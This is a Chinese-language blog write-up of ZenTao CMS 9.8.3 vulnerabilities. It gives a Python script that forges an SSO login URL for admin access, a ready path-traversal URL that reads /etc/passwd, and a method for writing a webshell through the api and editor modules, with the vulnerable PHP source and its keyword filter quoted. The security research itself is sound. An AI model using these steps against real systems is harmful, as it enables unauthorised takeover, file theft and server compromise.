0x01 前言 平时不好好学习的结果就是到学期末所有的事情都堆到一起,上博客一看,又将近两个月没更新了,抓紧出两篇刷刷存在感。。。近期跟禅道这个cms打了几次交道,从中学到了几个很骚的思路,在这里记录一下。
0x02 漏洞 测试环境使用当前开源版的最新版本9.8.3:http://www.zentao.net/download/80072.html
2.1 登陆后台 由于禅道几乎所有的操作都需要登陆后台,所以我们第一步就是要获取后台权限,这里有几个方法。
2.1.1 后台弱口令 禅道后台管理员admin的密码默认为123456,但是登陆后台后如果检测到密码强度过低的话,所有页面都会重定向到改密码的页面,强制修改密码,否则无法进行其他操作。
2.1.2 9.2.1版本一处前台注入 柠檬师傅的详细分析 在这里,不班门弄斧了。
2.1.3 sso单点登陆 这是比较骚的一个思路,可以不用登陆直接获取admin权限。
module/sso/control.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 public function login ($type = 'notify' ) { $referer = empty ($_GET ['referer' ]) ? '' : $this ->get->referer; $locate = empty ($referer ) ? getWebRoot () : base64_decode ($referer ); $this ->app->loadConfig ('sso' ); if (!$this ->config->sso->turnon) die ($this ->locate ($locate )); $userIP = $this ->server->remote_addr; $code = $this ->config->sso->code; $key = $this ->config->sso->key; if ($this ->get->status == 'success' and md5 ($this ->get->data) == $this ->get->md5) { $last = $this ->server->request_time; $data = json_decode (base64_decode ($this ->get->data)); $token = $data ->token; if ($data ->auth == md5 ($code . $userIP . $token . $key )) { $user = $this ->sso->getBindUser ($data ->account); if (!$user ) { $this ->session->set ('ssoData' , $data ); $this ->locate ($this ->createLink ('sso' , 'bind' , "referer=" . helper::safe64Encode ($locate ))); } if ($this ->loadModel ('user' )->isLogon ()) { if ($this ->session->user && $this ->session->user->account == $user ->account) die ($this ->locate ($locate )); } $this ->user->cleanLocked ($user ->account); } } $this ->locate ($this ->createLink ('user' , 'login' , empty ($referer ) ? '' : "referer=$referer " )); }
这里有几步验证,一步一步看。
需要status参数为success,并且data参数的md5值要与md5参数相同。
data进行base64解码和json_decode之后,auth需要与md5($code . $userIP . $token . $key)相同。
这里code、key在数据库中,是一个默认值,一般不会修改。token是data的元素,可控。
接下来就是绑定用户,验证,把认证信息存入session。附上生成url的代码,会更直观一点。
1 2 3 4 5 6 7 8 9 10 11 12 13 import hashlibimport base64import jsondef md5 (str ): md5 = hashlib.md5() md5.update(str .encode('utf-8' )) return md5.hexdigest() auth = md5('T6C5mypd2ZchLK0vAN9oz4YqP' + '192.168.250.1' + '' + 'vyoQHt5r8MD6bPksSwGmcd3gz' ) data = base64.b64encode(json.dumps({"token" :"" ,"auth" :auth,"account" :"admin" })) login_url = 'http://192.168.250.133:8000/www/index.php?m=sso&f=login&type=return&aHR0cDovL2hhY2tlZC5sb2wv&data=%s&status=success&md5=%s&' % (data, md5(data)) print (login_url)
2.2 任意文件读取 module/editor/control.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 public function edit ($filePath = '' , $action = '' , $isExtends = '' ) { $this ->view->safeFilePath = $filePath ; $fileContent = '' ; if ($filePath ) { $filePath = helper::safe64Decode ($filePath ); if (strpos (strtolower ($filePath ), strtolower ($this ->app->getBasePath ())) !== 0 ) die ($this ->lang->editor->editFileError); if ($action == 'extendOther' and file_exists ($filePath )) { $this ->view->showContent = htmlspecialchars (file_get_contents ($filePath )); } if ($action == 'edit' or $action == 'override' ) { if (file_exists ($filePath )) { $fileContent = file_get_contents ($filePath ); if ($action == 'override' ) { $fileContent = str_replace ('../../' , '../../../' , $fileContent ); $fileContent = str_replace (array ('\'./' , '"./' ), array ('\'../../view/' , '"../../view' ), $fileContent ); } } else { $filePath = '' ; } } } $this ->view->fileContent = $fileContent ; $this ->view->filePath = $filePath ; $this ->view->action = $action ; $this ->display (); }
首先将filePath进行base64解码,然后做了一个判断。
1 if (strpos (strtolower ($filePath ), strtolower ($this ->app->getBasePath ())) !== 0 ) die ($this ->lang->editor->editFileError);
这里的$this->app->getBasePath()
就是程序的根目录,如何获取到呢?
只要访问index.php?m=editor&f=edit
,输入任意内容然后保存,弹出的警告就会暴露根目录。
我们只要保证filePath里有程序的根目录,比如这里的/opt/zbox/app/zentao
,然后再用../
跳出来即可。
之后就没有任何过滤了,访问http://192.168.250.133:8000/zentao/index.php?m=editor&f=edit&filePath=L29wdC96Ym94L2FwcC96ZW50YW8vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==&action=edit
2.3 GetShell module/api/control.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public function getModel ($moduleName , $methodName , $params = '' ) { $params = explode (',' , $params ); $newParams = array_shift ($params ); foreach ($params as $param ) { $sign = strpos ($param , '=' ) !== false ? '&' : ',' ; $newParams .= $sign . $param ; } parse_str ($newParams , $params ); $module = $this ->loadModel ($moduleName ); $result = call_user_func_array (array (&$module , $methodName ), $params ); if (dao::isError ()) die (json_encode (dao::getError ())); $output ['status' ] = $result ? 'success' : 'fail' ; $output ['data' ] = json_encode ($result ); $output ['md5' ] = md5 ($output ['data' ]); $this ->output = json_encode ($output ); die ($this ->output); }
这里调用了call_user_func_array函数,模块、方法、参数都是可控的,接下的任务就是找一个可以写文件的函数。
module/editor/model.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public function save ($filePath ) { $fileContent = $this ->post->fileContent; $evils = array ('eval' , 'exec' , 'passthru' , 'proc_open' , 'shell_exec' , 'system' , '$$' , 'include' , 'require' , 'assert' ); $gibbedEvils = array ('e v a l' , 'e x e c' , ' p a s s t h r u' , ' p r o c _ o p e n' , 's h e l l _ e x e c' , 's y s t e m' , '$ $' , 'i n c l u d e' , 'r e q u i r e' , 'a s s e r t' ); $fileContent = str_ireplace ($gibbedEvils , $evils , $fileContent ); if (get_magic_quotes_gpc ()) $fileContent = stripslashes ($fileContent ); $dirPath = dirname ($filePath ); $extFilePath = substr ($filePath , 0 , strpos ($filePath , DS . 'ext' . DS) + 4 ); if (!is_dir ($dirPath ) and is_writable ($extFilePath )) mkdir ($dirPath , 0777 , true ); if (is_writable ($dirPath )) { file_put_contents ($filePath , $fileContent ); } else { die (js::alert ($this ->lang->editor->notWritable . $extFilePath )); } }
可以看到这里做了一些过滤,但是并不影响写shell。
这里有几个可写目录,一个是zentao/tmp
,还有一个zentao/www/data
,有的网站会配置直接访问www目录,上一级是访问不到的,所以最好将shell写入data或者其子目录中。
0x04 参考文章 从SQL注入到Getshell:记一次禅道系统的渗透